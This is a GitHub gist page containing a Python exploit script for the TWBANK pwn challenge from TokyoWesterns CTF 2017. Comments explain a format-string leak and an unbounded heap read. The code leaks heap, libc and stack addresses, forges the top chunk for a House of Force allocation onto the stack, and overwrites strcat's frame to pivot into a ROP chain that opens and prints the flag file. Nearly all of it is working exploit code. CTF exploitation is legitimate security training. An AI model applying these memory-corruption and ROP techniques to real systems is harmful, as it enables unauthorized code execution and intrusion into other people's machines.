-
-
Save niklasb/85ce3fec31cc58c804a277acc000ed23 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Exploit for TWBANK from TokyoWesterns CTF 2017. Re-run if asserts fail. | |
# | |
# Bugs: | |
# | |
# 1. getnline() called with size 0 lets you read unlimited amount of data into | |
# buffer of size 0 | |
# 2. Format string bug in transfer(), restricted to %s and %d. | |
from pwnlib.tools import * # https://github.com/niklasb/ctf-tools | |
import base64 | |
if len(sys.argv) > 1: | |
s = connect('pwn1.chal.ctf.westerns.tokyo', 35187) | |
INTERVAL = 1 | |
else: | |
s = connect('127.0.0.1', 4444) | |
INTERVAL = 0 | |
p = pack | |
u = unpack | |
ru = lambda st: read_until(s, st) | |
def send(x): | |
time.sleep(INTERVAL) | |
s.sendall(x) | |
ru('name :') | |
# Place location of a heap pointer on the stack so we can leak it | |
# with %s | |
send(p(0x0804a008)) | |
def alloc(sz, dat): | |
ru('> ') | |
send('1\n') | |
ru('amount :') | |
send('0\n') | |
ru('size :') | |
send('%d\n'%sz) | |
ru('comment :') | |
send(dat) | |
# Use format string bug to leak everything interesting | |
ru('> ') | |
send('3\n') | |
ru('amount :') | |
send('0\n') | |
ru('ination :') | |
send('%d '*8 + '%s %d %d %d\n') | |
ru('> ') | |
send('4\n') | |
ru('transfer to [') | |
leak = ru(']')[:-1].split(' ') | |
heap = u(leak[8]) - 0x64 | |
libc = int(leak[11]) % 2**32 - 0x4f0 | |
stack = int(leak[0]) % 2**32 | |
stack2 = int(leak[1]) % 2**32 | |
print '[*] heap @ 0x%08x' % heap | |
print '[*] libc @ 0x%08x' % libc | |
print '[*] stack @ 0x%08x' % stack | |
# We want to do House of Force into the stack. Wilderness chunk is at +0x1ac | |
# in the heap. | |
target = 0xffffd400 - 0xffffd670 + stack | |
hof_size = (target - (heap+0x1ac)) % 2**32 | |
# If the remaining size (2**32 - hof_size) is < 32, malloc doesn't link it | |
# back to the freelist. The check is signed though, so we need to be careful | |
# that hof_size is large enough. | |
assert (hof_size & 0x80000000) | |
# Prepare fake_heap heap with a dump from gdb (dump memory heap <heap> <heap>+436) | |
fake_heap = base64.b64decode(''' | |
2GCStWAw/fdhY2NvdW50CjEuIERlcG9zaXQKMkEAAADYYJK1YDD99y4gVHJhbnNmZXIKNC4gU2hv | |
dyB0aGUgbGF0ZXN0IHJlY29yZAowLiBFeGl0Cj4gAEAAAAB4AAAAPDwlcyA6ICVkIHllbj4+Cnx8 | |
IGFtb3VudCAgOiAlZCB5ZW4KfHwgY29tbWVudCA6IHRyYW5zZmVyIHRvIFslZCAlZCAlZCAlZCAl | |
ZCAlZCAlZCAlZCAlcyAlZCAlZCAlZF0AAAAAAAAAAAAAAAAAAAAAAADVAAAArGGStSBgkrUgMCB5 | |
ZW4+Pgp8fCBhbW91bnQgIDogMCB5ZW4KfHwgY29tbWVudCA6IHRyYW5zZmVyIHRvIFstMTA2NTYg | |
LTEwNjkyIC0xMDcyOCAxMzQ1MTM5MTYgLTEwODAwIDY0IC0xMDcyOCAxMzQ1MTM5MDIgZGCStSAw | |
IC0xMzQyMzAwMTYgLTEzNDQxMzA3Ml0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA | |
AAAAAAAAAAAAAAAAAAAAAAAAAAAA1AAAAEQOAABgMP332GCStQ== | |
''') | |
oldheap = 0xb5926000 | |
oldlibc = 0xf7fd0000 | |
for i in range(0,len(fake_heap),4): | |
x = u(fake_heap[i:i+4]) | |
if (x - oldheap)%2**32 < 1000: | |
# Fix heap ptr | |
fake_heap = fake_heap[:i] + p(x - oldheap + heap) + fake_heap[i+4:] | |
if (x - oldlibc)%2**32 < 0xf7fd6000-0xf7fd0000: | |
# Fix libc ptr | |
fake_heap = fake_heap[:i] + p(x - oldlibc + libc) + fake_heap[i+4:] | |
# Avoid special character issues (\n, %) by terminating the string immediately | |
fake_heap = '\n' + fake_heap[1:] | |
# Wilderness size -> 0xffffffff for HoF | |
fake_heap = fake_heap.replace(p(0xe44), p(0xffffffff)) | |
rop_loc = heap+0x9bc | |
print '[*] ROP chain @ 0x%08x' % rop_loc | |
stackframe = 0xfffa4574-0xfffa4690+stack | |
# This is what we overwrite the stack with. We are overwriting strcat's own | |
# stack frame, so we need to fix um some local variables | |
payload = 'a'*271 | |
payload += p(stackframe) # <- strcat's destination pointer | |
payload += 'aaaa' | |
# pivot to region with null bytes | |
payload += p(libc+0xbda) # <- strcat's return address, pop3 ; pop rbp ; ret | |
payload += 'XXXX' | |
payload += p(heap+0x2d7) # <- strcat's source pointer | |
payload += 'AAAA' | |
payload += p(rop_loc) | |
payload += p(libc+0x8d3) # leave ; ret -> stack pivot | |
payload += 'DDDD' | |
payload += 'EEEE' | |
payload += 'a'*(0x800-len(payload)) | |
payload += '\0'*4 | |
# Tweak for different environment | |
fd = 3 | |
# The final ROP chain (with null bytes) | |
rop = '' | |
rop += 'aaaa' | |
# Print the filename to see that the ROP chain ran | |
rop += p(libc+0xcc7) # puts | |
rop += p(libc+0xbdd) # pop ebp | |
rop += p(rop_loc + 0x80) # filename | |
rop += p(libc+0xcc7) # puts | |
rop += p(libc+0xbdd) # pop ebp | |
rop += p(rop_loc + 0x80) # filename | |
# Open file and print flag | |
rop += p(libc+0x14e5) # open | |
rop += p(libc+0xcc4) # pop2 | |
rop += p(rop_loc + 0x80) # filename | |
rop += p(0) | |
rop += p(libc+0x14b5) # read | |
rop += p(libc+0xbdb) # pop3 | |
rop += p(fd) | |
rop += p(heap) | |
rop += p(0x100) | |
rop += p(libc+0xcc7) # puts | |
rop += p(libc+0xbdd) # pop1 | |
rop += p(heap) | |
rop += p(libc+0x149f) # exit | |
rop += p(0) | |
rop += p(0) | |
assert len(rop) <= 0x80 | |
rop += 'x'*(0x80-len(rop)) | |
rop += './flag\0' | |
rop += 'x'*(0x100-len(rop)) | |
payload += rop | |
fake_heap += payload | |
# Overwrite wilderness chunk size and place payload after the | |
# wilderness onto the heap. | |
alloc(-1, fake_heap) | |
print '[*] Sending payload' | |
# 1. The first allocation in deposit_withdraw will | |
# return the wilderness chunk, which we forged above to contain our stack | |
# overwrite payload. getnline exits immediately because of the large size | |
# (it uses signed comparison), so we keep the uninitialized heap data. | |
# | |
# 2. The second allocation inside register_record will allocate ~0x840 bytes, | |
# which will be served from the stack. Now we strcat into the stack, getting ROP, | |
# which we pivot to the heap where we have the final stage with null bytes. | |
alloc(hof_size, '\0') | |
print s.recv(4096) | |
print s.recv(4096) | |
print s.recv(4096) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment